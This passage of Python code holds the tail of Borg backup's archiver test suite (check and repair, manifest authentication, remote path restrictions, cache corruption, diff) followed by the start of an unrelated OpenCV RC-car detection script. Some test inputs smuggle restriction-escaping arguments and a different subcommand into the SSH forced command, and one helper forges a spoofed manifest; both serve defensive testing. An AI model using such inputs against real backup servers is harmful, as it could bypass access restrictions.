b'corrupted!' repository.put(Manifest.MANIFEST_ID, corrupted_manifest) archive = msgpack.packb({ 'cmdline': [], 'items': [], 'hostname': 'foo', 'username': 'bar', 'name': 'archive1', 'time': '2016-12-15T18:49:51.849711', 'version': 1, }) archive_id = key.id_hash(archive) repository.put(archive_id, key.encrypt(archive)) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) self.cmd('check', '--repair', self.repository_location, exit_code=0) output = self.cmd('list', self.repository_location) self.assert_in('archive1', output) self.assert_in('archive1.1', output) self.assert_in('archive2', output) def test_extra_chunks(self): self.cmd('check', self.repository_location, exit_code=0) with Repository(self.repository_location, exclusive=True) as repository: repository.put(b'01234567890123456789012345678901', b'xxxx') repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) self.cmd('check', self.repository_location, exit_code=1) self.cmd('check', '--repair', self.repository_location, exit_code=0) self.cmd('check', self.repository_location, exit_code=0) self.cmd('extract', '--dry-run', self.repository_location + '::archive1', exit_code=0) def _test_verify_data(self, *init_args): shutil.rmtree(self.repository_path) self.cmd('init', self.repository_location, *init_args) self.create_src_archive('archive1') archive, repository = self.open_archive('archive1') with repository: for item in archive.iter_items(): if item.path.endswith('testsuite/archiver.py'): chunk = item.chunks[-1] data = repository.get(chunk.id) + b'1234' repository.put(chunk.id, data) break repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=0) output = self.cmd('check', '--verify-data', self.repository_location, exit_code=1) assert bin_to_hex(chunk.id) + ', integrity error' in output # repair (heal is tested in another test) output = self.cmd('check', '--repair', '--verify-data', self.repository_location, exit_code=0) assert bin_to_hex(chunk.id) + ', integrity error' in output assert 'testsuite/archiver.py: New missing file chunk detected' in output def test_verify_data(self): self._test_verify_data('--encryption', 'repokey') def test_verify_data_unencrypted(self): self._test_verify_data('--encryption', 'none') def test_empty_repository(self): with Repository(self.repository_location, exclusive=True) as repository: for id_ in repository.list(): repository.delete(id_) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) def test_attic013_acl_bug(self): # Attic up to release 0.13 contained a bug where every item unintentionally received # a b'acl'=None key-value pair. # This bug can still live on in Borg repositories (through borg upgrade). class Attic013Item: def as_dict(self): return { # These are required b'path': '1234', b'mtime': 0, b'mode': 0, b'user': b'0', b'group': b'0', b'uid': 0, b'gid': 0, # acl is the offending key. b'acl': None, } archive, repository = self.open_archive('archive1') with repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) with Cache(repository, key, manifest) as cache: archive = Archive(repository, key, manifest, '0.13', cache=cache, create=True) archive.items_buffer.add(Attic013Item()) archive.save() self.cmd('check', self.repository_location, exit_code=0) self.cmd('list', self.repository_location + '::0.13', exit_code=0) class ManifestAuthenticationTest(ArchiverTestCaseBase): def spoof_manifest(self, repository): with repository: _, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) repository.put(Manifest.MANIFEST_ID, key.encrypt(msgpack.packb({ 'version': 1, 'archives': {}, 'config': {}, 'timestamp': (datetime.utcnow() + timedelta(days=1)).strftime(ISO_FORMAT), }))) repository.commit(compact=False) def test_fresh_init_tam_required(self): self.cmd('init', '--encryption=repokey', self.repository_location) repository = Repository(self.repository_path, exclusive=True) with repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) repository.put(Manifest.MANIFEST_ID, key.encrypt(msgpack.packb({ 'version': 1, 'archives': {}, 'timestamp': (datetime.utcnow() + timedelta(days=1)).strftime(ISO_FORMAT), }))) repository.commit(compact=False) with pytest.raises(TAMRequiredError): self.cmd('list', self.repository_location) def test_not_required(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('archive1234') repository = Repository(self.repository_path, exclusive=True) with repository: shutil.rmtree(get_security_dir(bin_to_hex(repository.id))) _, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) key.tam_required = False key.change_passphrase(key._passphrase) manifest = msgpack.unpackb(key.decrypt(None, repository.get(Manifest.MANIFEST_ID))) del manifest[b'tam'] repository.put(Manifest.MANIFEST_ID, key.encrypt(msgpack.packb(manifest))) repository.commit(compact=False) output = self.cmd('list', '--debug', self.repository_location) assert 'archive1234' in output assert 'TAM not found and not required' in output # Run upgrade self.cmd('upgrade', '--tam', self.repository_location) # Manifest must be authenticated now output = self.cmd('list', '--debug', self.repository_location) assert 'archive1234' in output assert 'TAM-verified manifest' in output # Try to spoof / modify pre-1.0.9 self.spoof_manifest(repository) # Fails with pytest.raises(TAMRequiredError): self.cmd('list', self.repository_location) # Force upgrade self.cmd('upgrade', '--tam', '--force', self.repository_location) self.cmd('list', self.repository_location) def test_disable(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('archive1234') self.cmd('upgrade', '--disable-tam', self.repository_location) repository = Repository(self.repository_path, exclusive=True) self.spoof_manifest(repository) assert not self.cmd('list', self.repository_location) def test_disable2(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('archive1234') repository = Repository(self.repository_path, exclusive=True) self.spoof_manifest(repository) self.cmd('upgrade', '--disable-tam', self.repository_location) assert not self.cmd('list', self.repository_location) class RemoteArchiverTestCase(ArchiverTestCase): prefix = '__testsuite__:' def open_repository(self): return RemoteRepository(Location(self.repository_location)) def test_remote_repo_restrict_to_path(self): # restricted to repo directory itself: with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-path', self.repository_path]): self.cmd('init', '--encryption=repokey', self.repository_location) # restricted to repo directory itself, fail for other directories with same prefix: with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-path', self.repository_path]): with pytest.raises(PathNotAllowed): self.cmd('init', '--encryption=repokey', self.repository_location + '_0') # restricted to a completely different path: with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-path', '/foo']): with pytest.raises(PathNotAllowed): self.cmd('init', '--encryption=repokey', self.repository_location + '_1') path_prefix = os.path.dirname(self.repository_path) # restrict to repo directory's parent directory: with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-path', path_prefix]): self.cmd('init', '--encryption=repokey', self.repository_location + '_2') # restrict to repo directory's parent directory and another directory: with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-path', '/foo', '--restrict-to-path', path_prefix]): self.cmd('init', '--encryption=repokey', self.repository_location + '_3') def test_remote_repo_restrict_to_repository(self): # restricted to repo directory itself: with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-repository', self.repository_path]): self.cmd('init', '--encryption=repokey', self.repository_location) parent_path = os.path.join(self.repository_path, '..') with patch.object(RemoteRepository, 'extra_test_args', ['--restrict-to-repository', parent_path]): with pytest.raises(PathNotAllowed): self.cmd('init', '--encryption=repokey', self.repository_location) @unittest.skip('only works locally') def test_debug_put_get_delete_obj(self): pass @unittest.skip('only works locally') def test_config(self): pass @unittest.skip('only works locally') def test_migrate_lock_alive(self): pass def test_remote_repo_strip_components_doesnt_leak(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('dir/file', contents=b"test file contents 1") self.create_regular_file('dir/file2', contents=b"test file contents 2") self.create_regular_file('skipped-file1', contents=b"test file contents 3") self.create_regular_file('skipped-file2', contents=b"test file contents 4") self.create_regular_file('skipped-file3', contents=b"test file contents 5") self.cmd('create', self.repository_location + '::test', 'input') marker = 'cached responses left in RemoteRepository' with changedir('output'): res = self.cmd('extract', "--debug", self.repository_location + '::test', '--strip-components', '3') assert marker not in res with self.assert_creates_file('file'): res = self.cmd('extract', "--debug", self.repository_location + '::test', '--strip-components', '2') assert marker not in res with self.assert_creates_file('dir/file'): res = self.cmd('extract', "--debug", self.repository_location + '::test', '--strip-components', '1') assert marker not in res with self.assert_creates_file('input/dir/file'): res = self.cmd('extract', "--debug", self.repository_location + '::test', '--strip-components', '0') assert marker not in res class ArchiverCorruptionTestCase(ArchiverTestCaseBase): def setUp(self): super().setUp() self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.cache_path = json.loads(self.cmd('info', self.repository_location, '--json'))['cache']['path'] def corrupt(self, file, amount=1): with open(file, 'r+b') as fd: fd.seek(-amount, io.SEEK_END) corrupted = bytes(255-c for c in fd.read(amount)) fd.seek(-amount, io.SEEK_END) fd.write(corrupted) def test_cache_chunks(self): self.corrupt(os.path.join(self.cache_path, 'chunks')) if self.FORK_DEFAULT: out = self.cmd('info', self.repository_location, exit_code=2) assert 'failed integrity check' in out else: with pytest.raises(FileIntegrityError): self.cmd('info', self.repository_location) def test_cache_files(self): self.cmd('create', self.repository_location + '::test', 'input') self.corrupt(os.path.join(self.cache_path, 'files')) out = self.cmd('create', self.repository_location + '::test1', 'input') # borg warns about the corrupt files cache, but then continues without files cache. assert 'files cache is corrupted' in out def test_chunks_archive(self): self.cmd('create', self.repository_location + '::test1', 'input') # Find ID of test1 so we can corrupt it later :) target_id = self.cmd('list', self.repository_location, '--format={id}{LF}').strip() self.cmd('create', self.repository_location + '::test2', 'input') # Force cache sync, creating archive chunks of test1 and test2 in chunks.archive.d self.cmd('delete', '--cache-only', self.repository_location) self.cmd('info', self.repository_location, '--json') chunks_archive = os.path.join(self.cache_path, 'chunks.archive.d') assert len(os.listdir(chunks_archive)) == 4 # two archives, one chunks cache and one .integrity file each self.corrupt(os.path.join(chunks_archive, target_id + '.compact')) # Trigger cache sync by changing the manifest ID in the cache config config_path = os.path.join(self.cache_path, 'config') config = ConfigParser(interpolation=None) config.read(config_path) config.set('cache', 'manifest', bin_to_hex(bytes(32))) with open(config_path, 'w') as fd: config.write(fd) # Cache sync notices corrupted archive chunks, but automatically recovers. out = self.cmd('create', '-v', self.repository_location + '::test3', 'input', exit_code=1) assert 'Reading cached archive chunk index for test1' in out assert 'Cached archive chunk index of test1 is corrupted' in out assert 'Fetching and building archive index for test1' in out def test_old_version_interfered(self): # Modify the main manifest ID without touching the manifest ID in the integrity section. # This happens if a version without integrity checking modifies the cache. config_path = os.path.join(self.cache_path, 'config') config = ConfigParser(interpolation=None) config.read(config_path) config.set('cache', 'manifest', bin_to_hex(bytes(32))) with open(config_path, 'w') as fd: config.write(fd) out = self.cmd('info', self.repository_location) assert 'Cache integrity data not available: old Borg version modified the cache.' in out class DiffArchiverTestCase(ArchiverTestCaseBase): def test_basic_functionality(self): # Setup files for the first snapshot self.create_regular_file('empty', size=0) self.create_regular_file('file_unchanged', size=128) self.create_regular_file('file_removed', size=256) self.create_regular_file('file_removed2', size=512) self.create_regular_file('file_replaced', size=1024) os.mkdir('input/dir_replaced_with_file') os.chmod('input/dir_replaced_with_file', stat.S_IFDIR | 0o755) os.mkdir('input/dir_removed') if are_symlinks_supported(): os.mkdir('input/dir_replaced_with_link') os.symlink('input/dir_replaced_with_file', 'input/link_changed') os.symlink('input/file_unchanged', 'input/link_removed') os.symlink('input/file_removed2', 'input/link_target_removed') os.symlink('input/empty', 'input/link_target_contents_changed') os.symlink('input/empty', 'input/link_replaced_by_file') if are_hardlinks_supported(): os.link('input/file_replaced', 'input/hardlink_target_replaced') os.link('input/empty', 'input/hardlink_contents_changed') os.link('input/file_removed', 'input/hardlink_removed') os.link('input/file_removed2', 'input/hardlink_target_removed') self.cmd('init', '--encryption=repokey', self.repository_location) # Create the first snapshot self.cmd('create', self.repository_location + '::test0', 'input') # Setup files for the second snapshot self.create_regular_file('file_added', size=2048) self.create_regular_file('file_empty_added', size=0) os.unlink('input/file_replaced') self.create_regular_file('file_replaced', contents=b'0' * 4096) os.unlink('input/file_removed') os.unlink('input/file_removed2') os.rmdir('input/dir_replaced_with_file') self.create_regular_file('dir_replaced_with_file', size=8192) os.chmod('input/dir_replaced_with_file', stat.S_IFREG | 0o755) os.mkdir('input/dir_added') os.rmdir('input/dir_removed') if are_symlinks_supported(): os.rmdir('input/dir_replaced_with_link') os.symlink('input/dir_added', 'input/dir_replaced_with_link') os.unlink('input/link_changed') os.symlink('input/dir_added', 'input/link_changed') os.symlink('input/dir_added', 'input/link_added') os.unlink('input/link_replaced_by_file') self.create_regular_file('link_replaced_by_file', size=16384) os.unlink('input/link_removed') if are_hardlinks_supported(): os.unlink('input/hardlink_removed') os.link('input/file_added', 'input/hardlink_added') with open('input/empty', 'ab') as fd: fd.write(b'appended_data') # Create the second snapshot self.cmd('create', self.repository_location + '::test1a', 'input') self.cmd('create', '--chunker-params', '16,18,17,4095', self.repository_location + '::test1b', 'input') def do_asserts(output, can_compare_ids): # File contents changed (deleted and replaced with a new file) change = 'B' if can_compare_ids else '{:<19}'.format('modified') assert 'file_replaced' in output # added to debug #3494 assert f'{change} input/file_replaced' in output # File unchanged assert 'input/file_unchanged' not in output # Directory replaced with a regular file if 'BORG_TESTS_IGNORE_MODES' not in os.environ: assert '[drwxr-xr-x -> -rwxr-xr-x] input/dir_replaced_with_file' in output # Basic directory cases assert 'added directory input/dir_added' in output assert 'removed directory input/dir_removed' in output if are_symlinks_supported(): # Basic symlink cases assert 'changed link input/link_changed' in output assert 'added link input/link_added' in output assert 'removed link input/link_removed' in output # Symlink replacing or being replaced assert '] input/dir_replaced_with_link' in output assert '] input/link_replaced_by_file' in output # Symlink target removed. Should not affect the symlink at all. assert 'input/link_target_removed' not in output # The inode has two links and the file contents changed. Borg # should notice the changes in both links. However, the symlink # pointing to the file is not changed. change = '0 B' if can_compare_ids else '{:<19}'.format('modified') assert f'{change} input/empty' in output if are_hardlinks_supported(): assert f'{change} input/hardlink_contents_changed' in output if are_symlinks_supported(): assert 'input/link_target_contents_changed' not in output # Added a new file and a hard link to it. Both links to the same # inode should appear as separate files. assert 'added 2.05 kB input/file_added' in output if are_hardlinks_supported(): assert 'added 2.05 kB input/hardlink_added' in output # check if a diff between non-existent and empty new file is found assert 'added 0 B input/file_empty_added' in output # The inode has two links and both of them are deleted. They should # appear as two deleted files. assert 'removed 256 B input/file_removed' in output if are_hardlinks_supported(): assert 'removed 256 B input/hardlink_removed' in output # Another link (marked previously as the source in borg) to the # same inode was removed. This should not change this link at all. if are_hardlinks_supported(): assert 'input/hardlink_target_removed' not in output # Another link (marked previously as the source in borg) to the # same inode was replaced with a new regular file. This should not # change this link at all. if are_hardlinks_supported(): assert 'input/hardlink_target_replaced' not in output def do_json_asserts(output, can_compare_ids): def get_changes(filename, data): chgsets = [j['changes'] for j in data if j['path'] == filename] assert len(chgsets) < 2 # return a flattened list of changes for given filename return [chg for chgset in chgsets for chg in chgset] # convert output to list of dicts joutput = [json.loads(line) for line in output.split('\n') if line] # File contents changed (deleted and replaced with a new file) expected = {'type': 'modified', 'added': 4096, 'removed': 1024} if can_compare_ids else {'type': 'modified'} assert expected in get_changes('input/file_replaced', joutput) # File unchanged assert not any(get_changes('input/file_unchanged', joutput)) # Directory replaced with a regular file if 'BORG_TESTS_IGNORE_MODES' not in os.environ: assert {'type': 'mode', 'old_mode': 'drwxr-xr-x', 'new_mode': '-rwxr-xr-x'} in \ get_changes('input/dir_replaced_with_file', joutput) # Basic directory cases assert {'type': 'added directory'} in get_changes('input/dir_added', joutput) assert {'type': 'removed directory'} in get_changes('input/dir_removed', joutput) if are_symlinks_supported(): # Basic symlink cases assert {'type': 'changed link'} in get_changes('input/link_changed', joutput) assert {'type': 'added link'} in get_changes('input/link_added', joutput) assert {'type': 'removed link'} in get_changes('input/link_removed', joutput) # Symlink replacing or being replaced assert any(chg['type'] == 'mode' and chg['new_mode'].startswith('l') for chg in get_changes('input/dir_replaced_with_link', joutput)) assert any(chg['type'] == 'mode' and chg['old_mode'].startswith('l') for chg in get_changes('input/link_replaced_by_file', joutput)) # Symlink target removed. Should not affect the symlink at all. assert not any(get_changes('input/link_target_removed', joutput)) # The inode has two links and the file contents changed. Borg # should notice the changes in both links. However, the symlink # pointing to the file is not changed. expected = {'type': 'modified', 'added': 13, 'removed': 0} if can_compare_ids else {'type': 'modified'} assert expected in get_changes('input/empty', joutput) if are_hardlinks_supported(): assert expected in get_changes('input/hardlink_contents_changed', joutput) if are_symlinks_supported(): assert not any(get_changes('input/link_target_contents_changed', joutput)) # Added a new file and a hard link to it. Both links to the same # inode should appear as separate files. assert {'type': 'added', 'size': 2048} in get_changes('input/file_added', joutput) if are_hardlinks_supported(): assert {'type': 'added', 'size': 2048} in get_changes('input/hardlink_added', joutput) # check if a diff between non-existent and empty new file is found assert {'type': 'added', 'size': 0} in get_changes('input/file_empty_added', joutput) # The inode has two links and both of them are deleted. They should # appear as two deleted files. assert {'type': 'removed', 'size': 256} in get_changes('input/file_removed', joutput) if are_hardlinks_supported(): assert {'type': 'removed', 'size': 256} in get_changes('input/hardlink_removed', joutput) # Another link (marked previously as the source in borg) to the # same inode was removed. This should not change this link at all. if are_hardlinks_supported(): assert not any(get_changes('input/hardlink_target_removed', joutput)) # Another link (marked previously as the source in borg) to the # same inode was replaced with a new regular file. This should not # change this link at all. if are_hardlinks_supported(): assert not any(get_changes('input/hardlink_target_replaced', joutput)) do_asserts(self.cmd('diff', self.repository_location + '::test0', 'test1a'), True) # We expect exit_code=1 due to the chunker params warning do_asserts(self.cmd('diff', self.repository_location + '::test0', 'test1b', exit_code=1), False) do_json_asserts(self.cmd('diff', self.repository_location + '::test0', 'test1a', '--json-lines'), True) def test_sort_option(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('a_file_removed', size=8) self.create_regular_file('f_file_removed', size=16) self.create_regular_file('c_file_changed', size=32) self.create_regular_file('e_file_changed', size=64) self.cmd('create', self.repository_location + '::test0', 'input') os.unlink('input/a_file_removed') os.unlink('input/f_file_removed') os.unlink('input/c_file_changed') os.unlink('input/e_file_changed') self.create_regular_file('c_file_changed', size=512) self.create_regular_file('e_file_changed', size=1024) self.create_regular_file('b_file_added', size=128) self.create_regular_file('d_file_added', size=256) self.cmd('create', self.repository_location + '::test1', 'input') output = self.cmd('diff', '--sort', self.repository_location + '::test0', 'test1') expected = [ 'a_file_removed', 'b_file_added', 'c_file_changed', 'd_file_added', 'e_file_changed', 'f_file_removed', ] assert all(x in line for x, line in zip(expected, output.splitlines())) def test_get_args(): archiver = Archiver() # everything normal: # first param is argv as produced by ssh forced command, # second param is like from SSH_ORIGINAL_COMMAND env variable args = archiver.get_args(['borg', 'serve', '--umask=0027', '--restrict-to-path=/p1', '--restrict-to-path=/p2', ], 'borg serve --info') assert args.func == archiver.do_serve assert args.restrict_to_paths == ['/p1', '/p2'] assert args.umask == 0o027 assert args.log_level == 'info' # similar, but with --restrict-to-repository args = archiver.get_args(['borg', 'serve', '--restrict-to-repository=/r1', '--restrict-to-repository=/r2', ], 'borg serve --info --umask=0027') assert args.restrict_to_repositories == ['/r1', '/r2'] # trying to cheat - break out of path restriction args = archiver.get_args(['borg', 'serve', '--restrict-to-path=/p1', '--restrict-to-path=/p2', ], 'borg serve --restrict-to-path=/') assert args.restrict_to_paths == ['/p1', '/p2'] # trying to cheat - break out of repository restriction args = archiver.get_args(['borg', 'serve', '--restrict-to-repository=/r1', '--restrict-to-repository=/r2', ], 'borg serve --restrict-to-repository=/') assert args.restrict_to_repositories == ['/r1', '/r2'] # trying to cheat - break below repository restriction args = archiver.get_args(['borg', 'serve', '--restrict-to-repository=/r1', '--restrict-to-repository=/r2', ], 'borg serve --restrict-to-repository=/r1/below') assert args.restrict_to_repositories == ['/r1', '/r2'] # trying to cheat - try to execute different subcommand args = archiver.get_args(['borg', 'serve', '--restrict-to-path=/p1', '--restrict-to-path=/p2', ], 'borg init --encryption=repokey /') assert args.func == archiver.do_serve # Check that environment variables in the forced command don't cause issues. If the command # were not forced, environment variables would be interpreted by the shell, but this does not # happen for forced commands - we get the verbatim command line and need to deal with env vars. args = archiver.get_args(['borg', 'serve', ], 'BORG_FOO=bar borg serve --info') assert args.func == archiver.do_serve def test_chunk_content_equal(): def ccc(a, b): chunks_a = [data for data in a] chunks_b = [data for data in b] compare1 = chunks_contents_equal(iter(chunks_a), iter(chunks_b)) compare2 = chunks_contents_equal(iter(chunks_b), iter(chunks_a)) assert compare1 == compare2 return compare1 assert ccc([ b'1234', b'567A', b'bC' ], [ b'1', b'23', b'4567A', b'b', b'C' ]) # one iterator exhausted before the other assert not ccc([ b'12345', ], [ b'1234', b'56' ]) # content mismatch assert not ccc([ b'1234', b'65' ], [ b'1234', b'56' ]) # first is the prefix of second assert not ccc([ b'1234', b'56' ], [ b'1234', b'565' ]) class TestBuildFilter: @staticmethod def peek_and_store_hardlink_masters(item, matched): pass def test_basic(self): matcher = PatternMatcher() matcher.add([parse_pattern('included')], IECommand.Include) filter = Archiver.build_filter(matcher, self.peek_and_store_hardlink_masters, 0) assert filter(Item(path='included')) assert filter(Item(path='included/file')) assert not filter(Item(path='something else')) def test_empty(self): matcher = PatternMatcher(fallback=True) filter = Archiver.build_filter(matcher, self.peek_and_store_hardlink_masters, 0) assert filter(Item(path='anything')) def test_strip_components(self): matcher = PatternMatcher(fallback=True) filter = Archiver.build_filter(matcher, self.peek_and_store_hardlink_masters, strip_components=1) assert not filter(Item(path='shallow')) assert not filter(Item(path='shallow/')) # can this even happen? paths are normalized... assert filter(Item(path='deep enough/file')) assert filter(Item(path='something/dir/file')) class TestCommonOptions: @staticmethod def define_common_options(add_common_option): add_common_option('-h', '--help', action='help', help='show this help message and exit') add_common_option('--critical', dest='log_level', help='foo', action='store_const', const='critical', default='warning') add_common_option('--error', dest='log_level', help='foo', action='store_const', const='error', default='warning') add_common_option('--append', dest='append', help='foo', action='append', metavar='TOPIC', default=[]) add_common_option('-p', '--progress', dest='progress', action='store_true', help='foo') add_common_option('--lock-wait', dest='lock_wait', type=int, metavar='N', default=1, help='(default: %(default)d).') @pytest.fixture def basic_parser(self): parser = argparse.ArgumentParser(prog='test', description='test parser', add_help=False) parser.common_options = Archiver.CommonOptions(self.define_common_options, suffix_precedence=('_level0', '_level1')) return parser @pytest.fixture def subparsers(self, basic_parser): return basic_parser.add_subparsers(title='required arguments', metavar='<command>') @pytest.fixture def parser(self, basic_parser): basic_parser.common_options.add_common_group(basic_parser, '_level0', provide_defaults=True) return basic_parser @pytest.fixture def common_parser(self, parser): common_parser = argparse.ArgumentParser(add_help=False, prog='test') parser.common_options.add_common_group(common_parser, '_level1') return common_parser @pytest.fixture def parse_vars_from_line(self, parser, subparsers, common_parser): subparser = subparsers.add_parser('subcommand', parents=[common_parser], add_help=False, description='foo', epilog='bar', help='baz', formatter_class=argparse.RawDescriptionHelpFormatter) subparser.set_defaults(func=1234) subparser.add_argument('--append-only', dest='append_only', action='store_true') def parse_vars_from_line(*line): print(line) args = parser.parse_args(line) parser.common_options.resolve(args) return vars(args) return parse_vars_from_line def test_simple(self, parse_vars_from_line): assert parse_vars_from_line('--error') == { 'append': [], 'lock_wait': 1, 'log_level': 'error', 'progress': False } assert parse_vars_from_line('--error', 'subcommand', '--critical') == { 'append': [], 'lock_wait': 1, 'log_level': 'critical', 'progress': False, 'append_only': False, 'func': 1234, } with pytest.raises(SystemExit): parse_vars_from_line('--append-only', 'subcommand') assert parse_vars_from_line('--append=foo', '--append', 'bar', 'subcommand', '--append', 'baz') == { 'append': ['foo', 'bar', 'baz'], 'lock_wait': 1, 'log_level': 'warning', 'progress': False, 'append_only': False, 'func': 1234, } @pytest.mark.parametrize('position', ('before', 'after', 'both')) @pytest.mark.parametrize('flag,args_key,args_value', ( ('-p', 'progress', True), ('--lock-wait=3', 'lock_wait', 3), )) def test_flag_position_independence(self, parse_vars_from_line, position, flag, args_key, args_value): line = [] if position in ('before', 'both'): line.append(flag) line.append('subcommand') if position in ('after', 'both'): line.append(flag) result = { 'append': [], 'lock_wait': 1, 'log_level': 'warning', 'progress': False, 'append_only': False, 'func': 1234, } result[args_key] = args_value assert parse_vars_from_line(*line) == result def test_parse_storage_quota(): assert parse_storage_quota('50M') == 50 * 1000**2 with pytest.raises(argparse.ArgumentTypeError): parse_storage_quota('5M') def get_all_parsers(): """ Return dict mapping command to parser. """ parser = Archiver(prog='borg').build_parser() borgfs_parser = Archiver(prog='borgfs').build_parser() parsers = {} def discover_level(prefix, parser, Archiver, extra_choices=None): choices = {} for action in parser._actions: if action.choices is not None and 'SubParsersAction' in str(action.__class__): for cmd, parser in action.choices.items(): choices[prefix + cmd] = parser if extra_choices is not None: choices.update(extra_choices) if prefix and not choices: return for command, parser in sorted(choices.items()): discover_level(command + " ", parser, Archiver) parsers[command] = parser discover_level("", parser, Archiver, {'borgfs': borgfs_parser}) return parsers @pytest.mark.parametrize('command, parser', list(get_all_parsers().items())) def test_help_formatting(command, parser): if isinstance(parser.epilog, RstToTextLazy): assert parser.epilog.rst @pytest.mark.parametrize('topic, helptext', list(Archiver.helptext.items())) def test_help_formatting_helptexts(topic, helptext): assert str(rst_to_terminal(helptext))
stream_detect.py
import threading import SocketServer import cv2 import numpy as np import math import socket import time # distance data measured by ultrasonic sensor sensor_data = " " class NeuralNetwork(object): def __init__(self): self.model = cv2.ANN_MLP() def create(self): layer_size = np.int32([38400, 32, 4]) self.model.create(layer_size) self.model.load('mlp_xml/mlp_final.xml') def predict(self, samples): ret, resp = self.model.predict(samples) return resp.argmax(-1) # class RCControl(object): # def __init__(self): # self.__data = 'I am pi' # print 'start moving...' # # self.serial_port = serial.Serial('/dev/tty.usbmodem1421', 115200, timeout=1) # self.gpio_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # self.gpio_socket.bind(('172.14.1.126', 8004)) # self.gpio_socket.listen(0) # self.conn2, self.addr = self.gpio_socket.accept() # self.pre_cmd = '' # # self.send_inst = True # def steer(self, prediction): # if prediction == 2: # self.conn2.send('upO') # # time.sleep(1) # self.pre_cmd = 'upO' # print("Forward") # elif prediction == 0: # self.conn2.send('turnleftO') # # time.sleep(1) # self.pre_cmd = 'turnleftO' # print("Left") # elif prediction == 1: # self.conn2.send('turnrightO') # # time.sleep(1) # self.pre_cmd = 'turnrightO' # print("Right") # else: # # self.stop() # # time.sleep(1.5) # self.conn2.send(self.pre_cmd) # print 'stop' # def stop(self): # # self.conn2.sendall('clean') # time.sleep(1) # class DistanceToCamera(object): # def __init__(self): # # camera params # self.alpha = 8.0 * math.pi / 180 # self.v0 = 119.865631204 # self.ay = 332.262498472 # def calculate(self, v, h, x_shift, image): # # compute and return the distance from the target point to the camera # d = h / math.tan(self.alpha + math.atan((v - self.v0) / self.ay)) # if d > 0: # cv2.putText(image, "%.1fcm" % d, # (image.shape[1] - x_shift, image.shape[0] - 20), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (255, 255, 255), 2) # return d class ObjectDetection(object): def __init__(self): self.red_light = False self.green_light = False self.yellow_light = False def detect(self, cascade_classifier, gray_image, image): # y camera coordinate of the target point 'P' v = 0 # minimum value to proceed traffic light state validation threshold = 150 # detection cascade_obj = cascade_classifier.detectMultiScale( gray_image, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30), flags=cv2.cv.CV_HAAR_SCALE_IMAGE ) # draw a rectangle around the objects for (x_pos, y_pos, width, height) in cascade_obj: cv2.rectangle(image, (x_pos+5, y_pos+5), (x_pos+width-5, y_pos+height-5), (255, 255, 255), 2) v = y_pos + height - 5 #print(x_pos+5, y_pos+5, x_pos+width-5, y_pos+height-5, width, height) # stop sign if width/height == 1: cv2.putText(image, 'STOP', (x_pos, y_pos-10), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2) # traffic lights else: roi = gray_image[y_pos+10:y_pos + height-10, x_pos+10:x_pos + width-10] mask = cv2.GaussianBlur(roi, (25, 25), 0) (minVal, maxVal, minLoc, maxLoc) = cv2.minMaxLoc(mask) # check if light is on if maxVal - minVal > threshold: cv2.circle(roi, maxLoc, 5, (255, 0, 0), 2) # Red light if 1.0/8*(height-30) < maxLoc[1] < 4.0/8*(height-30): cv2.putText(image, 'Red', (x_pos+5, y_pos-5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2) self.red_light = True # Green light elif 5.5/8*(height-30) < maxLoc[1] < height-30: cv2.putText(image, 'Green', (x_pos+5, y_pos - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2) self.green_light = True # # yellow light # elif 4.0/8*(height-30) < maxLoc[1] < 5.5/8*(height-30): # cv2.putText(image, 'Yellow', (x_pos+5, y_pos - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 255), 2) # self.yellow_light = True return v class SensorDataHandler(SocketServer.BaseRequestHandler): data = " " def handle(self): global sensor_data try: while self.data: self.data = self.request.recv(1024) sensor_data = round(float(self.data), 1) #print "{} sent:".format(self.client_address[0]) print sensor_data finally: print "Connection closed on thread 2" class VideoStreamHandler(SocketServer.StreamRequestHandler): # h1: stop sign h1 = 15.5 - 10 # cm # h2: traffic light h2 = 15.5 - 10 # create neural network model = NeuralNetwork() model.create() obj_detection = ObjectDetection() # rc_car = RCControl() # cascade classifiers stop_cascade = cv2.CascadeClassifier('cascade_xml/stop_sign.xml') light_cascade = cv2.CascadeClassifier('cascade_xml/traffic_light.xml') # d_to_camera = DistanceToCamera() d_stop_sign = 25 d_light = 25 stop_start = 0 # start time when stop at the stop sign stop_finish = 0 stop_time = 0 drive_time_after_stop = 0 def handle(self): global sensor_data stream_bytes = ' ' stop_flag = False stop_sign_active = True # stream video frames one by one try: while True: stream_bytes += self.rfile.read(1024) first = stream_bytes.find('\xff\xd8') last = stream_bytes.find('\xff\xd9') if first != -1 and last != -1: jpg = stream_bytes[first:last+2] stream_bytes = stream_bytes[last+2:] gray = cv2.imdecode(np.fromstring(jpg, dtype=np.uint8), 0) image = cv2.imdecode(np.fromstring(jpg, dtype=np.uint8), -1) # lower half of the image half_gray = gray[120:240, :] # object detection v_param1 = self.obj_detection.detect(self.stop_cascade, gray, image) v_param2 = self.obj_detection.detect(self.light_cascade, gray, image) # distance measurement # if v_param1 > 0 or v_param2 > 0: # d1 = self.d_to_camera.calculate(v_param1, self.h1, 300, 